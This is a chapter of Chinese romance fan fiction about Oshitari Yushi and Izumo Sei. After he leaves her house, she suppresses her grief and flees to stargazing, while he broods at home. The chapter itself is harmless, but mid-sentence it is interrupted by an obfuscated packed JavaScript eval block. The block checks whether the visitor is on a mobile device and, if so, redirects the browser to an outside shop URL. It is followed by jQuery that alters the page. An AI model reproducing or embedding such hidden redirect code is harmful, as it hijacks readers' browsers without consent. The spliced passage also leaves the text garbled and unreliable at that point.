忍足侑士离开了。
茶几上那叠现金,他碰都没碰,如同一个沉默而固执的抗议,安静地躺在那里。
出云霁在楼上磨蹭到很晚才下来。
客厅里只开了一盏昏暗的落地灯,那叠钱在灯光下镀着朦胧的影子。她盯着它看了一会儿,心情复杂。
肚子咕咕叫起来,提醒她该吃晚饭了。
走进厨房,拉开冰箱门,里面居然整整齐齐地码放着几个保鲜盒。
都是她喜欢的菜。
他离开前,为她准备好的最后一顿晚饭。
出云霁愣住了。
把保鲜盒一个个拿出来,打开盖子,放进微波炉里。
微波炉橙色的灯光亮起,发出沉闷而持续的“嗡嗡”声,在寂静的厨房里显得格外响,一下下钻进她的耳朵,搅动她的心绪。
抿紧了唇,感觉胸腔里涌起一股陌生又奇怪的酸涩感,喉咙发紧。
独自坐在餐桌前,默默吃着加热好的饭菜。还是熟悉的味道,温暖熨帖,带着他独有的细致。
但餐厅太安静了,对面没有人。
只有她自己的咀嚼声在空旷里回响。
出云霁起身打开电视,调到平时两人一起追的吵闹综艺,嘻嘻哈哈的笑声立刻响起,却像隔着一层厚厚的玻璃,传不进耳朵里。
没有什么是吃一顿大餐解决不了的。
如果有,那就吃两顿。
三顿、四顿、五顿……总之吃饱了就好了。
******
翌日,小野阿姨准时上岗。
出云霁坐在沙发上,看着窗外被春风轻轻摇晃的秋千出神。
“出云小姐。”小野阿姨从卫生间走出来,笑着问她,“卫生间里有两套洗漱用品,是您男朋友的吗?是上次我看到的那位先生吧。”
“毛巾和浴袍都挂在里面,今天天气好,要不要拿去洗一下?”
“男朋友?”
出云霁像是被针扎了一下,猛地从沙发上弹起来,声音大得把她自己都吓了一跳,“不是不是,他不是!”
小野阿姨被她激烈的反应弄得有点不知所措,愣在原地。
出云霁只觉得胸口难受,懒得解释,几步走进卫生间。
洗手台上并排摆放着的蓝色漱口杯和粉色漱口杯,挂在旁边的深蓝色毛巾、深灰色的浴袍……每一件都带着忍足侑士的气息和痕迹。
她像被什么刺激到一样,一把抓起那漱口杯、牙刷、毛巾、浴袍等等所有属于他的东西,一股脑地塞进垃圾桶。
“不要了,都不要了。”对着垃圾桶强调心声。
她又冲进客卧。
那张铺着紫色四件套的床,此刻在眼里变得无比刺眼。
一把抓住床单狠狠扯了下来,被罩、枕套,全都胡乱地拽下来,揉成一团。
“小野阿姨。”抱着那堆揉皱的布料,声音带着颤抖和烦躁,“这些都扔了!”
“统统都扔了,一件都不要留!”
小野阿姨看着她失态的样子,不敢多问,赶紧接过处理。
独自站在空荡荡的客卧里,发泄过后,是无尽的茫然和失落。
打开衣柜,想把被褥也收拾进去。
几件熨烫平整的男士衬衫、长裤,安静地悬挂在那里。
熟悉的气息扑面而来,是忍足侑士身上特有的、干净清爽又带着一丝淡淡消毒水的味道。
就好像他此刻站在她面前,那双温柔的眼睛含笑看着她。
看得她眼眶发酸,看得她喉头哽咽,看得她狼狈而逃。
出云霁猛地后退一步,像是被无形的火焰灼伤,仓皇失措地逃回了主卧,背靠门板,急促地喘着气。
******
日子一天天过去。
小野阿姨尽职尽责,打扫卫生,准备三餐,虽然味道比不上忍足,但也干净可口。
出云霁也尽职尽责地生活着:按时起床,按时吃饭,看书研究,观测星星。
挺好的。
她对自己说,这才是正常的生活。
和从前没什么两样。
******
转眼半个月过去了,春意更浓,到了换季的时候。
出云霁打开自己的衣橱,准备把冬衣收起来,换上春装。
当她准备将羽绒服打包时,蓬松柔软的MaxMara泰迪熊大衣,猝不及防地撞入了视线。
它安静地挂在衣橱深处,像一只蛰伏的巨兽,瞬间唤醒了她所有试图遗忘的记忆。
出云霁的动作僵住了。
她想起了一月末的寒夜,在后台冻得瑟瑟发抖时,这件温暖的大衣如何将她包裹。
更想起了那个隔着大衣拥抱她的男人。
她听到了。
那天晚上,她清晰地听到了忍足说的话。
“我喜欢她……她勇敢善良……她真实热烈……她无可替代……”
那么炽热,那么坚定,那么不顾一切。
喜欢?
出云霁的脑海里一片混乱。
他怎么会喜欢她?喜欢又是什么东西?
她从小信奉的真理就是心中无男人,拔剑自然神。
那个不负责任、只留下一地狼藉和“出云”这个姓氏的父亲,是她对男人这个物种最深刻的注解。
她对男人的态度向来是敬谢不敏。
可是从什么时候开始呢?
忍足侑士这个人,就那么自然而然地、无声无息地渗透进了她的生活。
他做家务的背影,他无奈又纵容的唠叨,他帮她吹头发时指尖的温热,他打游戏时被她嘲讽后无奈的样子,甚至是他身上那股让她安心的味道,一切的一切,都让她习惯了。
习惯到……好像他本来就该在那里一样。
出云霁不懂,她也不想懂。
恋爱?
斋藤奈奈子那种恋爱脑才会沉迷的东西。
爱的时候惊天动地,分手的时候哭得死去活来,在出云霁看来,简直是自找麻烦。
不谈不就好了?不谈恋爱又不会死。
不赚钱就会没钱,没钱才会死。
她一直是这么想的,也是这么做的。
那天晚上听到忍足和他父亲的对话争吵,像一把钥匙,突然打开了她身体里被刻意忽略的陌生感受。
被他按摩小腿时脚踝窜过的酥麻电流……
被他抓住手臂质问时心跳的失序……
被他靠近时脸颊莫名的热度……
原来,这些奇怪的感觉,就是所谓的“喜欢”吗?
可她也透过忍足的反驳,猜到了他父亲的排斥和抵触,甚至可能是更难听的话。
她曾经在忍足家的客厅里,看到了他们的全家福,忍足侑士站在父母姐姐中间,脸上是灿烂温暖的、属于“完整的家”的笑容。
她记得那个笑容。
是她从未拥有过的“家”带来的。
她没有爸爸,没有享受过完整的家庭温暖。
没关系,她不在乎。
但忍足不一样。
他那么好,有那么幸福的家庭,他是父亲的骄傲,是家人的珍宝。
那样和睦温馨的氛围,是她不忍心也绝不允许自己去打破的。
他的家人不喜欢她?
没关系,出云霁从来不需要别人的喜欢来认可自己的价值,肆意张扬,从不自卑。
可她不能让忍足因为她,和爱他的家人产生裂痕。
家庭的爱,是长久的。
而她和他之间,那点男女之爱,大概就像她那个不靠谱的老爸一样,可能过几年就散了,爱情本就是短暂易逝的东西。
毕竟她的爸爸,只教会她两个字,爱过。
忍足拥有的完整家庭,才值得他用一生去守护。
所以她推开了他。
她觉得自己做得很对。
非常理智,非常正确。
可是为什么鼻子这么酸?为什么喉咙堵得这么难受?
为什么看着这件泰迪熊大衣,视线会模糊?
指尖抚过柔软厚实的绒毛,仿佛还能感受到那天裹挟而来的温暖,和他怀里温柔缱绻的气息。
闭上眼,猛地缩回手。
近乎粗暴地将这件大衣用力塞进衣柜最深处、最角落的位置,用其他衣物严严实实地盖住、压住。
跟妖魔鬼怪一样,只要看不见,就不存在。
她这样告诉自己。
可是家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022956|192463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里每一个角落,都残留着他的痕迹。
厨房里他常用的水杯摆放着,沙发上他习惯坐的那个凹陷,浴室里他贴上去的防堵贴,甚至连空气里,都若有似无地飘荡着让她心慌的气味。
这个空间让她难受得喘不过气,像一个巨大的、无声的牢笼。
她需要逃离。
立刻,马上。
她要抬起头,要去看星星,要去宇宙的怀抱里。
那里够冷,够空,够安静,够辽阔。
星星不会说话,不会质问她,不会用那种让她心碎的眼神看她。
星光笼罩下来,就像一双大手,抚平她所有的混乱和无处安放的酸楚。
就像曾经忍足侑士的怀抱一样。
出云霁匆匆交代了一下小野阿姨接下来的工作安排,简单收拾背包,就发动车子,朝着能看见最纯净星空的地方疾驰而去。
仿佛身后有什么东西在追赶,又仿佛是想把什么东西,永远地甩在身后。
******
忍足侑士搬回家住之后,日子恢复了表面的平静。
母亲和姐姐总是欲言又止,想方设法地旁敲侧击打探他的情况。
“侑士,最近忙吗?没见你往外跑呢?”
“侑士,春天了,要不要一起去看看樱花?叫上朋友一起?”
忍足每次都巧妙地岔开话题,或者干脆用实验室的繁忙搪塞过去。
父亲看他的眼神复杂,担忧无奈,还有一丝隐隐的愧疚,但终究没有说什么。
自从那通电话后没多久,忍足侑士就突然回家了,可回家后的他,明显的沉默和眉宇间难以化开的郁色,让忍足瑛士猜测到了什么,却又什么话也说不出口。
时间就这样不咸不淡地流淌着,像一条失去活力的河流。
一开始,忍足还会给那个熟悉的雪地头像发去问候。
“胃还好吗?”
“春天花粉,注意过敏。”
回复总是很迟,而且极其简洁。
“嗯。”
“知道了。”
像是对待一个无关紧要的人,带着明显且刻意的回避。
渐渐地,忍足也失去了发送信息的动力。这种贫瘠又单方面的对话,除了加深被推开的无力感,没有任何意义。
一切都退回了原点。
他是房东。
一个名字写在房产证上的、提供住所的房东。
房子本身没有问题,出云霁不会联系他。
就算房子有问题,以她现在的状态也绝不会联系他。
有保姆照顾,身体健康,三餐稳定,他已经没有了任何可以靠近她的正当理由。
东京的樱花开了。
粉白的云霞缀满了枝头,浪漫而盛大,一场春日盛宴。
忍足走在飘落的花雨中,心却沉得像一块浸透了水的铅。绚烂的樱云,映在他眼底,只留下灰蒙蒙的倒影。
聪明如他,早已想通了关节。
出云霁翻天覆地的变化,是始于他和父亲通话之后。
她肯定是听到了他对父亲宣告的“喜欢”,然后,她用最彻底最决绝的方式给出了答案。
拒绝。
体面又冰冷地拒绝。
从前那层窗户纸未被捅破时,她神经大条,不懂情爱,所以他们可以自然而然地靠近,生活在同一个屋檐下,分享琐碎日常。
而现在,她知道了他炽热的情意,便立刻筑起高墙,退到了无法触及的地方。
如同蜜糖般甜美的同居时光,她依赖他、对他耍赖、和他玩闹的画面,都因为他脱口而出的爱意戛然而止,变成了一场醒后徒留空虚和刺痛的大梦。
心像是被掏空了一块,苦涩的汁液在里面蔓延。
他不知道该如何挽留。
她的拒绝如此明确,如此彻底。
再去纠缠,除了让她更厌烦、更躲避,还能有什么结果?
他的每一天都过得异常平静,按时去实验室,回家吃饭,回答家人的询问,然后将自己关进房间。
只有到了夜晚,他会走到窗前,抬头望向深邃的星空。
星星无言。
他想,或许只有星星,是他和她唯一共享的东西了。